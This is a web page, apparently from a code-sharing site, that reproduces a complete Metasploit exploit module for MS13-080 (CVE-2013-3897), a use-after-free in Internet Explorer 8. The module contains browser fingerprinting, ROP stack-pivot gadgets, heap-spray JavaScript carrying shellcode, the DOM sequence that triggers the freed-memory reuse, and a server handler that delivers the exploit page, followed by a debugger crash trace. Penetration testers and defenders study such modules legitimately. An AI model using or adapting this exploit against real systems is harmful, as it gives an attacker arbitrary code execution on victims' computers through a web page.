扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "8.0", :ua_maxver=> "8.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", 'Description'=> %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange".During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-3897' ], [ 'OSVDB', '98207' ], [ 'MSB', 'MS13-080' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', {} ], [ 'IE 8 on Windows 7',{} ] ], 'Payload'=> { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. # MSFT patched this on Oct 8th. 'DisclosureDate' => "Oct 08 2013", 'DefaultTarget'=> 0)) end def get_check_html %Q|<html> <script> #{js_os_detect} function os() { var detect = window.os_detect.getVersion(); var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; return os_string; } function dll() { var checka = 0; var checkb = 0; try { checka = new ActiveXObject("SharePoint.OpenDocuments.4"); } catch (e) {} try { checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); } catch (e) {} if ((typeof checka) == "object" && (typeof checkb) == "object") { try{location.href='https://www.exploit-db.com/exploits/28974/ms-help://'} catch(e){} return "#{@js_office_2010_str}"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { try{location.href='https://www.exploit-db.com/exploits/28974/ms-help://'} catch(e){} return "#{@js_office_2007_str}"; } return "#{@js_default_str}"; } window.onload = function() { window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); } </script> </html> | end def junk rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(target_info) rop_payload = '' os= target_info[:os] dll_used= '' case target_info[:dll] when @js_office_2007_str dll_used = "Office 2007" pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 junk, # ESI due to POPAD junk, # EBP due to POPAD junk, junk, # EBX due to POPAD junk, # EDX due to POPAD junk, # ECX due to POPAD 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) 0x51bd81db, # ROP NOP junk# Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) when @js_office_2010_str dll_used = "Office 2010" pivot = [ 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 junk, junk, junk, junk, junk, 0x51BE7E9A, # ROP NOP junk# Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) when @js_default_str if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll dll_used = "msvcrt" pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret ].pack("V*") rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP dll_used = "Java" pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn junk# Padding for the POP ECX ].pack("V*") rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) end end print_status("Target uses #{os} with #{dll_used} DLL") rop_payload end def get_sploit_html(target_info) os = target_info[:os] js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target not supported by this attack.") return "" end %Q|<html> <head> <script> #{js_property_spray} sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); } else{ data += "\\u4141\\u4141"; } } data += "\\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = earth.createElement("div"); effect.className = data; } } function kaiju() { var godzilla = earth.createElement("textarea"); var minilla = earth.createElement("pre"); earth.body.appendChild(godzilla); earth.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect=function(e) { minilla.swapNode(earth.createElement("div")); } var battleStation = false; var war = new Array(); godzilla.onpropertychange=function(e) { if (battleStation == true) { for (i=0; i<50; i++) { war.push(earth.createElement("span")); } } earth.execCommand("Unselect"); if (battleStation == true) { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } } butterfly(); godzilla.select(); } </script> </head> <body onload='kaiju()'> </body> </html> | end def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end html = get_check_html print_status("Checking out target...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end def exploit @js_office_2007_str = Rex::Text.rand_text_alpha(4) @js_office_2010_str = Rex::Text.rand_text_alpha(5) @js_default_str = Rex::Text.rand_text_alpha(6) super end end =begin +hpa this for debugging or you might not see a crash at all :-) 0:005> r eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246 mshtml!QIClassID+0x30: 6d6dc123 8b03mov eax,dword ptr [ebx]ds:0023:0777efd4=???????? 0:005> u mshtml!QIClassID+0x30: 6d6dc123 8b03mov eax,dword ptr [ebx] 6d6dc125 8365e800and dword ptr [ebp-18h],0 6d6dc129 8d4de8lea ecx,[ebp-18h] 6d6dc12c 51pushecx 6d6dc12d 6870c16d6dpushoffset mshtml!IID_IProxyManager (6d6dc170) 6d6dc132 53pushebx 6d6dc133 bf02400080mov edi,80004002h 6d6dc138 ff10calldword ptr [eax] =end |
体验盒子
